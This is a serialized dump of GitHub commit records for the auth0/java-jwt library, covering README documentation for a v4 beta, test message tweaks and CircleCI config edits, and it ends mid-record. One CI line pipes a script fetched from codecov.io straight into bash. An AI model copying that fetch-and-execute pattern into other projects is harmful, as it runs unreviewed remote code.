         }uau(5a92ab8dcc5513ea10d1ff28164f07eebda1ccb3}(sha(5a92ab8dcc5513ea10d1ff28164f07eebda1ccb3node_idEC_kwDOAQtL0doAKDVhOTJhYjhkY2M1NTEzZWExMGQxZmYyODE2NGYwN2VlYmRhMWNjYjMcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-04-26T00:31:01Zu	committer}(jW  James AndersonjY  jim.anderson@auth0.comj[  2022-04-26T00:42:54ZumessageDocumentation updatestree}(jO  (1daa4d89601e71627f3ae12c8e53e8d5e604a427url^https://api.github.com/repos/auth0/java-jwt/git/trees/1daa4d89601e71627f3ae12c8e53e8d5e604a427ujg  `https://api.github.com/repos/auth0/java-jwt/git/commits/5a92ab8dcc5513ea10d1ff28164f07eebda1ccb3
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujg  \https://api.github.com/repos/auth0/java-jwt/commits/5a92ab8dcc5513ea10d1ff28164f07eebda1ccb3html_urlQhttps://github.com/auth0/java-jwt/commit/5a92ab8dcc5513ea10d1ff28164f07eebda1ccb3comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/5a92ab8dcc5513ea10d1ff28164f07eebda1ccb3/commentsjU  }(login
jimmyjamesidJ7 jQ  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jg  'https://api.github.com/users/jimmyjamesjs  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj]  }(jx  
jimmyjamesjz  J7 jQ  MDQ6VXNlcjI3NjIyNQ==j|  2https://avatars.githubusercontent.com/u/276225?v=4j~  h3jg  'https://api.github.com/users/jimmyjamesjs  https://github.com/jimmyjamesj  1https://api.github.com/users/jimmyjames/followersj  >https://api.github.com/users/jimmyjames/following{/other_user}j  7https://api.github.com/users/jimmyjames/gists{/gist_id}j  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j  5https://api.github.com/users/jimmyjames/subscriptionsj  ,https://api.github.com/users/jimmyjames/orgsj  -https://api.github.com/users/jimmyjames/reposj  8https://api.github.com/users/jimmyjames/events{/privacy}j  7https://api.github.com/users/jimmyjames/received_eventsj  Userj  uparents]}(jO  (e9549e5066aad321fa106654b630b2756d3614cdjg  \https://api.github.com/repos/auth0/java-jwt/commits/e9549e5066aad321fa106654b630b2756d3614cdjs  Qhttps://github.com/auth0/java-jwt/commit/e9549e5066aad321fa106654b630b2756d3614cduastats}(totalK/	additionsK&	deletionsK	ufiles](}(jO  (624a7f689e4eb0af01b647c03ca6054fe2f5c3a8filename	README.mdstatusmodifiedj  K"j  KchangesK'blob_urlYhttps://github.com/auth0/java-jwt/blob/5a92ab8dcc5513ea10d1ff28164f07eebda1ccb3/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/5a92ab8dcc5513ea10d1ff28164f07eebda1ccb3/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=5a92ab8dcc5513ea10d1ff28164f07eebda1ccb3patchX  @@ -11,15 +11,15 @@ A Java implementation of [JSON Web Token (JWT) - RFC 7519](https://tools.ietf.or
 
 If you're looking for an **Android** version of the JWT Decoder take a look at our [JWTDecode.Android](https://github.com/auth0/JWTDecode.Android) library.
 
-> This library requires Java 8 or higher. The last version that supported Java 7 was 3.11.0.
+> You are viewing the documentation for the v4 beta release. For the latest stable release, please see the [version 3.x documentation](https://github.com/auth0/java-jwt).
 
 ## Table of Contents
+- [**Requirements**](#requirements)
 - [**Installation**](#installation)
 - [**Available Algorithms**](#available-algorithms)
 - [**Quickstart**](#quickstart)
   + [**Create and Sign a Token**](#create-and-sign-a-token)
   + [**Verify a Token**](#verify-a-token)
-  + [**Decode a Token**](#decode-a-token)
 - [**Usage**](#usage)
   + [**Pick the algorithm**](#pick-the-algorithm)
   + [**Time Validation**](#time-validation)
@@ -28,6 +28,10 @@ If you're looking for an **Android** version of the JWT Decoder take a look at o
   + [**Claim Class**](#claim-class)
 - [**Javadoc**](https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html)
 
+## Requirements
+
+This library is supported for Java 8, 11, and 17. For issues on non-LTS versions above 8, consideration will be given on a case-by-case basis.
+
 ## Installation
 
 ### Gradle
@@ -138,8 +142,13 @@ You'll first need to create a `JWTVerifier` instance by calling `JWT.require()`
 
 If the token has an invalid signature or the Claim requirement is not met, a `JWTVerificationException` will raise.
 
+<details>
+<summary><em></em>Need to peek into a JWT without verifying it? (Click to expand)</summary>
+
 ### Decode a Token
 
+> __Warning:__ This will __not__ verify whether the signature is valid. You should __not__ use this for untrusted messages. You most likely want to use `JWTVerifier` as documented above instead.
+
 ```java
 String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
 try {
@@ -151,6 +160,8 @@ try {
 
 If the token has an invalid syntax or the header or payload are not JSONs, a `JWTDecodeException` will raise.
 
+</details>
+
 ## Usage
 
 ### Pick the Algorithm
@@ -176,7 +187,7 @@ Algorithm algorithmRS = Algorithm.RSA256(publicKey, privateKey);
 
 ##### HMAC Key Length and Security
 
-When using a Hash-based Message Authenticaton Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recomendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
+When using a Hash-based Message Authenticaton Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recommendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
 
 #### Using a KeyProvider:
 By using a `KeyProvider` you can change in runtime the key used either to verify the token signature or to sign a new token for RSA or ECDSA algorithms. This is achieved by implementing either `RSAKeyProvider` or `ECDSAKeyProvider` methods:
@@ -243,13 +254,13 @@ JWTVerifier verifier = JWT.require(algorithm)
     .build();
 ```
 
-If you need to test this behaviour in your lib/app cast the `Verification` instance to a `BaseVerification` to gain visibility of the `verification.build()` method that accepts a custom `Clock`. e.g.:
+If you need to test this behavior in your lib/app cast the `Verification` instance to a `BaseVerification` to gain visibility of the `verification.build()` method that accepts a `java.time.Clock`. e.g.:
 
 ```java
 BaseVerification verification = (BaseVerification) JWT.require(algorithm)
     .acceptLeeway(1)
     .acceptExpiresAt(5);
-Clock clock = new CustomClock(); //Must implement Clock interface
+private final Clock mockNow = Clock.fixed(Instant.ofEpochSecond(1477592), ZoneId.of("UTC"));    
 JWTVerifier verifier = verification.build(clock);
 ```
 
@@ -342,6 +353,12 @@ Returns the Expiration Time value or null if it's not defined in the Payload.
 Date expiresAt = jwt.getExpiresAt();
 ```
 
+If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
+
+```java
+Instant expiresAt = jwt.getExpiresAtAsInstant();
+```
+
 #### Not Before ("nbf")
 
 Returns the Not Before value or null if it's not defined in the Payload.
@@ -350,6 +367,12 @@ Returns the Not Before value or null if it's not defined in the Payload.
 Date notBefore = jwt.getNotBefore();
 ```
 
+If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
+
+```java
+Instant notBefore = jwt.getNotBeforeAsInstant();
+```
+
 #### Issued At ("iat")
 
 Returns the Issued At value or null if it's not defined in the Payload.
@@ -358,6 +381,12 @@ Returns the Issued At value or null if it's not defined in the Payload.
 Date issuedAt = jwt.getIssuedAt();
 ```
 
+If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
+
+```java
+Instant issuedAt = jwt.getIssuedAtAsInstant();
+```
+
 #### JWT ID ("jti")
 
 Returns the JWT ID value or null if it's not defined in the Payload.u}(jO  (a99f0fa010ba4b81b0c97a055105f1a844a7ecc8j  /lib/src/main/java/com/auth0/jwt/JWTCreator.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/5a92ab8dcc5513ea10d1ff28164f07eebda1ccb3/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaj  https://github.com/auth0/java-jwt/raw/5a92ab8dcc5513ea10d1ff28164f07eebda1ccb3/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=5a92ab8dcc5513ea10d1ff28164f07eebda1ccb3j  X"  @@ -453,7 +453,7 @@ public Builder withPayload(Map<String, ?> payloadClaims) throws IllegalArgumentE
 
             if (!validatePayload(payloadClaims)) {
                 throw new IllegalArgumentException("Claim values must only be of types Map, List, Boolean, Integer, "
-                        + "Long, Double, String, Date and Null");
+                        + "Long, Double, String, Date, Instant, and Null");
             }
 
             // add claims only after validating all claims so as not to corrupt the claims map of this builderu}(jO  (4d1c7314418872a373144140ba45573b61e6bccfj  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/5a92ab8dcc5513ea10d1ff28164f07eebda1ccb3/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://github.com/auth0/java-jwt/raw/5a92ab8dcc5513ea10d1ff28164f07eebda1ccb3/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=5a92ab8dcc5513ea10d1ff28164f07eebda1ccb3j  X!  @@ -759,7 +759,7 @@ public void shouldOverwriteExistingPayloadWhenSettingSamePayloadKey() {
     @Test
     public void withPayloadShouldNotAllowCustomType() {
         exception.expect(IllegalArgumentException.class);
-        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date and Null");
+        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date, Instant, and Null");
 
         Map<String, Object> payload = new HashMap<>();
         payload.put("entry", "value");
@@ -786,7 +786,7 @@ public void withPayloadShouldAllowNullListItems() {
     @Test
     public void withPayloadShouldNotAllowListWithCustomType() {
         exception.expect(IllegalArgumentException.class);
-        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date and Null");
+        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date, Instant, and Null");
 
         Map<String, Object> payload = new HashMap<>();
         payload.put("list", Arrays.asList("item1", new UserPojo("name", 42)));
@@ -798,7 +798,7 @@ public void withPayloadShouldNotAllowListWithCustomType() {
     @Test
     public void withPayloadShouldNotAllowMapWithCustomType() {
         exception.expect(IllegalArgumentException.class);
-        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date and Null");
+        exception.expectMessage("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date, Instant, and Null");
 
         Map<String, Object> payload = new HashMap<>();
         payload.put("entry", "value");ueu(56a3463d5c2c6942d040a323a88c9c46b086b70c}(sha(56a3463d5c2c6942d040a323a88c9c46b086b70cnode_idEC_kwDOAQtL0doAKDU2YTM0NjNkNWMyYzY5NDJkMDQwYTMyM2E4OGM5YzQ2YjA4NmI3MGMcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-03-01T14:12:52Zu	committer}(j  GitHubj  noreply@github.comj  2022-03-01T14:12:52ZumessageaMerge pull request #531 from auth0/remove-api-diff-check

Remove apiDiff check for v4 developmenttree}(j  (eeb43a79f9e5e58405a9c05c883c663dfaa5febfurl^https://api.github.com/repos/auth0/java-jwt/git/trees/eeb43a79f9e5e58405a9c05c883c663dfaa5febfuj  `https://api.github.com/repos/auth0/java-jwt/git/commits/56a3463d5c2c6942d040a323a88c9c46b086b70c
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiHinkCRBK7hj4Ov3rIwAAW7cIAIhQlqZ3HeTr37TTp6er6rkM
aW5jpGyikYtWO57Ewii9hIxVMgVPyzZlmIuDy1z10knKGR9qsRbp/RVqH8IAyfiC
ER5oXg+APSDpYFBgURPtUBV7F5RBhUu7km+VyezUTuNNiX6S/+FnR21cMt5rKwyS
HwGYkNzT0msBQwB5CnjCLAalwdVqL9ddkNHPy+D7DMm9Ag1O33AWpQHzKrglSm73
TqQzVhe/69PjYTS+jMWyDkdo4FAdSD6is3srGK3VAJF3NfZuJOQ7/dPCv5XFXiFw
ICEHXVs+NrzWchy4ci5Mq689C43wQvqIdAoLgooeEN9iePxJJwHw0nwJZZM1dJk=
=O8eD
-----END PGP SIGNATURE-----
payloadXe  tree eeb43a79f9e5e58405a9c05c883c663dfaa5febf
parent e10966949df7da3acd96d15917b1ddc474336ab0
parent 0b2331bf08db796760669ca1a14503c373c3a0c9
author Jim Anderson <jim.anderson@auth0.com> 1646143972 -0600
committer GitHub <noreply@github.com> 1646143972 -0600

Merge pull request #531 from auth0/remove-api-diff-check

Remove apiDiff check for v4 developmentuuj  \https://api.github.com/repos/auth0/java-jwt/commits/56a3463d5c2c6942d040a323a88c9c46b086b70chtml_urlQhttps://github.com/auth0/java-jwt/commit/56a3463d5c2c6942d040a323a88c9c46b086b70ccomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/56a3463d5c2c6942d040a323a88c9c46b086b70c/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj
  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents](}(j  (e10966949df7da3acd96d15917b1ddc474336ab0j  \https://api.github.com/repos/auth0/java-jwt/commits/e10966949df7da3acd96d15917b1ddc474336ab0j  Qhttps://github.com/auth0/java-jwt/commit/e10966949df7da3acd96d15917b1ddc474336ab0u}(j  (0b2331bf08db796760669ca1a14503c373c3a0c9j  \https://api.github.com/repos/auth0/java-jwt/commits/0b2331bf08db796760669ca1a14503c373c3a0c9j  Qhttps://github.com/auth0/java-jwt/commit/0b2331bf08db796760669ca1a14503c373c3a0c9uestats}(totalK,	additionsK	deletionsKufiles]}(j  (a299cb9dc2a35b1a7ea5892fcc6bf5ad04f41837filename.circleci/config.ymlstatusmodifiedj:  Kj;  KchangesK,blob_urlfhttps://github.com/auth0/java-jwt/blob/56a3463d5c2c6942d040a323a88c9c46b086b70c/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/56a3463d5c2c6942d040a323a88c9c46b086b70c/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=56a3463d5c2c6942d040a323a88c9c46b086b70cpatchX  @@ -23,15 +23,15 @@ commands:
           name: Upload Coverage
           when: on_success
           command: bash <(curl -s https://codecov.io/bash) -Z -C $CIRCLE_SHA1
-  run-api-diff:
-    steps:
-      # run apiDiff task
-      - run: ./gradlew apiDiff
-      - store_artifacts:
-         path: lib/build/reports/apiDiff/apiDiff.txt
-      - store_artifacts:
-         path: lib/build/reports/apiDiff/apiDiff.html
-
+#  TODO re-enable once 4.0.0 is released
+#  run-api-diff:
+#    steps:
+#      # run apiDiff task
+#      - run: ./gradlew apiDiff
+#      - store_artifacts:
+#          path: lib/build/reports/apiDiff/apiDiff.txt
+#      - store_artifacts:
+#          path: lib/build/reports/apiDiff/apiDiff.html
 jobs:
   build:
     docker:
@@ -43,21 +43,21 @@ jobs:
       GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
       _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
       TERM: dumb
-  api-diff:
-    docker:
-      - image: openjdk:11.0-jdk
-    steps:
-      - checkout-and-build
-      - run-api-diff
-    environment:
-      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
-      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
-      TERM: dumb
+#  api-diff:
+#    docker:
+#      - image: openjdk:11.0-jdk
+#    steps:
+#      - checkout-and-build
+#      - run-api-diff
+#    environment:
+#      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
+#      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
+#      TERM: dumb
 
 workflows:
   build-and-test:
     jobs:
       - build
-  api-diff:
-    jobs:
-      - api-diff
+#  api-diff:
+#    jobs:
+#      - api-diff
\ No newline at end of fileuau(190132ca282c2b6ff2d12b04c1ea07224ad9f271}(sha(190132ca282c2b6ff2d12b04c1ea07224ad9f271node_idEC_kwDOAQtL0doAKDE5MDEzMmNhMjgyYzJiNmZmMmQxMmIwNGMxZWEwNzIyNGFkOWYyNzEcommit}(author}(name	Evan Simsemailevan.sims@okta.comdate2022-07-08T05:24:46Zu	committer}(jW  	Evan SimsjY  evan.sims@okta.comj[  2022-07-08T05:24:46ZumessageUpdate config.ymltree}(jO  (4d9e5ce3da6a803f09180e807a1f97bc884c97a3url^https://api.github.com/repos/auth0/java-jwt/git/trees/4d9e5ce3da6a803f09180e807a1f97bc884c97a3ujg  `https://api.github.com/repos/auth0/java-jwt/git/commits/190132ca282c2b6ff2d12b04c1ea07224ad9f271
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujg  \https://api.github.com/repos/auth0/java-jwt/commits/190132ca282c2b6ff2d12b04c1ea07224ad9f271html_urlQhttps://github.com/auth0/java-jwt/commit/190132ca282c2b6ff2d12b04c1ea07224ad9f271comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/190132ca282c2b6ff2d12b04c1ea07224ad9f271/commentsjU  }(loginevansimsidMjQ  MDQ6VXNlcjMwOTM=
avatar_url0https://avatars.githubusercontent.com/u/3093?v=4gravatar_idh3jg  %https://api.github.com/users/evansimsjs  https://github.com/evansims
followers_url/https://api.github.com/users/evansims/followers
following_url<https://api.github.com/users/evansims/following{/other_user}	gists_url5https://api.github.com/users/evansims/gists{/gist_id}starred_url<https://api.github.com/users/evansims/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/evansims/subscriptionsorganizations_url*https://api.github.com/users/evansims/orgs	repos_url+https://api.github.com/users/evansims/repos
events_url6https://api.github.com/users/evansims/events{/privacy}received_events_url5https://api.github.com/users/evansims/received_eventstypeUser
site_adminuj]  }(jx  evansimsjz  MjQ  MDQ6VXNlcjMwOTM=j|  0https://avatars.githubusercontent.com/u/3093?v=4j~  h3jg  %https://api.github.com/users/evansimsjs  https://github.com/evansimsj  /https://api.github.com/users/evansims/followersj  <https://api.github.com/users/evansims/following{/other_user}j  5https://api.github.com/users/evansims/gists{/gist_id}j  <https://api.github.com/users/evansims/starred{/owner}{/repo}j  3https://api.github.com/users/evansims/subscriptionsj  *https://api.github.com/users/evansims/orgsj  +https://api.github.com/users/evansims/reposj  6https://api.github.com/users/evansims/events{/privacy}j  5https://api.github.com/users/evansims/received_eventsj  Userj  uparents]}(jO  (3e6f4b80a125df67a97df6d8eadf675d79907624jg  \https://api.github.com/repos/auth0/java-jwt/commits/3e6f4b80a125df67a97df6d8eadf675d79907624js  Qhttps://github.com/auth0/java-jwt/commit/3e6f4b80a125df67a97df6d8eadf675d79907624uastats}(totalK0	additionsK	deletionsK ufiles]}(jO  (c6425bb833342d1d6ca0b2cb4a63d39e9265eea2filename.circleci/config.ymlstatusmodifiedj  Kj  K changesK0blob_urlfhttps://github.com/auth0/java-jwt/blob/190132ca282c2b6ff2d12b04c1ea07224ad9f271/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/190132ca282c2b6ff2d12b04c1ea07224ad9f271/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=190132ca282c2b6ff2d12b04c1ea07224ad9f271patchX-	  @@ -1,4 +1,6 @@
 version: 2.1
+orbs:
+  codecov: codecov/codecov@3
 
 commands:
   checkout-and-build:
@@ -8,9 +10,9 @@ commands:
       # Download and cache dependencies
       - restore_cache:
           keys:
-          - v1-dependencies-{{ checksum "build.gradle" }}
-          # fallback to using the latest cache if no exact match is found
-          - v1-dependencies-
+            - v1-dependencies-{{ checksum "build.gradle" }}
+            # fallback to using the latest cache if no exact match is found
+            - v1-dependencies-
       - run: ./gradlew clean build
       - save_cache:
           paths:
@@ -19,10 +21,7 @@ commands:
   run-tests:
     steps:
       - run: ./gradlew check jacocoTestReport --continue --console=plain
-      - run:
-          name: Upload Coverage
-          when: on_success
-          command: bash <(curl -s https://codecov.io/bash) -Z -C $CIRCLE_SHA1
+      - codecov/upload
 #  TODO re-enable once 4.0.0 is released
 #  run-api-diff:
 #    steps:
@@ -43,36 +42,21 @@ jobs:
       GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
       _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
       TERM: dumb
-#  api-diff:
-#    docker:
-#      - image: openjdk:11.0-jdk
-#    steps:
-#      - checkout-and-build
-#      - run-api-diff
-#    environment:
-#      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
-#      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
-#      TERM: dumb
-  semgrep:
-    docker:
-      - image: returntocorp/semgrep-agent:v1
-    environment:
-      SEMGREP_REPO_NAME: "auth0/java-jwt"
-      SEMGREP_REPO_URL: "https://github.com/auth0/java-jwt"
-    steps:
-      - checkout
-      - run:
-          name: Run vulnerabilities tests (Semgrep)
-          command: |
-            semgrep-agent --baseline-ref master --publish-token $SEMGREP_TOKEN
+  #  api-diff:
+  #    docker:
+  #      - image: openjdk:11.0-jdk
+  #    steps:
+  #      - checkout-and-build
+  #      - run-api-diff
+  #    environment:
+  #      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
+  #      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
+  #      TERM: dumb
 
 workflows:
   build-and-test:
     jobs:
       - build
-      - semgrep:
-          context:
-            - semgrep-env
 #  api-diff:
 #    jobs:
 #      - api-diffuau(0d84c680047c422e5ff915a8cbb6d31e18ebfc28}(sha(0d84c680047c422e5ff915a8cbb6d31e18ebfc28node_idEC_kwDOAQtL0doAKDBkODRjNjgwMDQ3YzQyMmU1ZmY5MTVhOGNiYjZkMzFlMThlYmZjMjgcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-21T01:38:41Zu	committer}(j  Jim Andersonj  jimranderson@gmail.comj  2022-10-25T21:41:09Zumessageuse cdn instead of local assetstree}(j  (b24c0d8065bcf3878d98a252f8ceb32aaffe89eeurl^https://api.github.com/repos/auth0/java-jwt/git/trees/b24c0d8065bcf3878d98a252f8ceb32aaffe89eeuj  `https://api.github.com/repos/auth0/java-jwt/git/commits/0d84c680047c422e5ff915a8cbb6d31e18ebfc28
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/0d84c680047c422e5ff915a8cbb6d31e18ebfc28html_urlQhttps://github.com/auth0/java-jwt/commit/0d84c680047c422e5ff915a8cbb6d31e18ebfc28comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/0d84c680047c422e5ff915a8cbb6d31e18ebfc28/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  
jimmyjamesj  J7 j  MDQ6VXNlcjI3NjIyNQ==j  2https://avatars.githubusercontent.com/u/276225?v=4j  h3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjamesj  1https://api.github.com/users/jimmyjames/followersj  >https://api.github.com/users/jimmyjames/following{/other_user}j  7https://api.github.com/users/jimmyjames/gists{/gist_id}j  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j  5https://api.github.com/users/jimmyjames/subscriptionsj   ,https://api.github.com/users/jimmyjames/orgsj  -https://api.github.com/users/jimmyjames/reposj  8https://api.github.com/users/jimmyjames/events{/privacy}j  7https://api.github.com/users/jimmyjames/received_eventsj  Userj
  uparents]}(j  (1de49e8d3403fbe0ba9383f4fe65c9ecd28d109fj  \https://api.github.com/repos/auth0/java-jwt/commits/1de49e8d3403fbe0ba9383f4fe65c9ecd28d109fj  Qhttps://github.com/auth0/java-jwt/commit/1de49e8d3403fbe0ba9383f4fe65c9ecd28d109fuastats}(totalK	additionsK	deletionsKufiles](}(j  (b16dcdbf218378840ae75ba770b19b5758378cfffilename	README.mdstatusmodifiedj$  Kj%  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/0d84c680047c422e5ff915a8cbb6d31e18ebfc28/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/0d84c680047c422e5ff915a8cbb6d31e18ebfc28/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=0d84c680047c422e5ff915a8cbb6d31e18ebfc28patchX  @@ -124,8 +124,8 @@ Please do not report security vulnerabilities on the public Github issue tracker
 
 <p align="center">
   <picture>
-    <source media="(prefers-color-scheme: light)" srcset="./assets/auth0_light_mode.png"   width="150">
-    <source media="(prefers-color-scheme: dark)" srcset="./assets/auth0_dark_mode.png" width="150">
+    <source media="(prefers-color-scheme: light)" srcset="https://cdn.auth0.com/website/sdks/logos/auth0_light_mode.png"   width="150">
+    <source media="(prefers-color-scheme: dark)" srcset="https://cdn.auth0.com/website/sdks/logos/auth0_dark_mode.png" width="150">
     <img alt="Auth0 Logo" src="./auth0_light_mode.png" width="150">
   </picture>
 </p>u	D     }(j  (17d74687fb402749e4b106a600ba8b653b89edcfj*  assets/auth0_dark_mode.pngj,  removedj$  K j%  K j.  K j/  lhttps://github.com/auth0/java-jwt/blob/1de49e8d3403fbe0ba9383f4fe65c9ecd28d109f/assets%2Fauth0_dark_mode.pngj1  khttps://github.com/auth0/java-jwt/raw/1de49e8d3403fbe0ba9383f4fe65c9ecd28d109f/assets%2Fauth0_dark_mode.pngj3  ~https://api.github.com/repos/auth0/java-jwt/contents/assets%2Fauth0_dark_mode.png?ref=1de49e8d3403fbe0ba9383f4fe65c9ecd28d109fu}(j  (334f7e523595d60561c8edb1d45cc1c4819184e8j*  assets/auth0_light_mode.pngj,  removedj$  K j%  K j.  K j/  mhttps://github.com/auth0/java-jwt/blob/1de49e8d3403fbe0ba9383f4fe65c9ecd28d109f/assets%2Fauth0_light_mode.pngj1  lhttps://github.com/auth0/java-jwt/raw/1de49e8d3403fbe0ba9383f4fe65c9ecd28d109f/assets%2Fauth0_light_mode.pngj3  https://api.github.com/repos/auth0/java-jwt/contents/assets%2Fauth0_light_mode.png?ref=1de49e8d3403fbe0ba9383f4fe65c9ecd28d109fueu(4b64d9ee8977d9c32b55eac2dfc59f7775cde187}(sha(4b64d9ee8977d9c32b55eac2dfc59f7775cde187node_idEC_kwDOAQtL0doAKDRiNjRkOWVlODk3N2Q5YzMyYj